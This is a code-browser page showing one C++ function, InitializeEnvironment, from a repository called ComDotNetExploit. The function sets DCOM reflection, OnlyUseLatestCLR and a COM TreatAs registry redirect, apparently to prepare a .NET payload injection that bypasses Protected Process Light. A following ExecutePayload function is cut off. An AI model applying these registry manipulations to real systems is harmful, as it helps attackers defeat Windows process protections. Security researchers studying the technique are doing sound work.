MCPcopy Create free account
hub / github.com/T3nb3w/ComDotNetExploit / InitializeEnvironment

Function InitializeEnvironment

Bypass_COM_PPL/main.cpp:12–32  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

10constexpr CLSID CLSID_WaaSRemediationAgent = { 0x72566e27,0x1abb,0x4eb3,{0xb4,0xf0,0xeb,0x43,0x1c,0xb1,0xcb,0x32} };
11
12bool InitializeEnvironment() {
13 std::cout << "[+] Setting DcomReflection...\n";
14 if (!RegistryUtils::SetDcomReflectionEnabled(true)) {
15 std::cerr << "[-] Failed to enable DCOM reflection\n";
16 return false;
17 }
18
19 std::cout << "[+] Setting OnlyUseLatestCLR...\n";
20 if (!RegistryUtils::SetOnlyUseLatestCLR(true)) {
21 std::cerr << "[-] Failed to set OnlyUseLatestCLR.\n";
22 return false;
23 }
24
25 std::cout << "[+] Setting treatas...\n";
26 if (!RegistryUtils::SetTreatAs(CLSID_StdFont, CLSID_DotNetObject)) {
27 std::cerr << "[-] Failed to set TreatAs key\n";
28 return false;
29 }
30 std::cout << "[+] Environment initialized successfully\n";
31 return true;
32}
33
34bool ExecutePayload(const std::string& dllPath, _bstr_t staticClassName) {
35 try {

Callers 1

mainFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected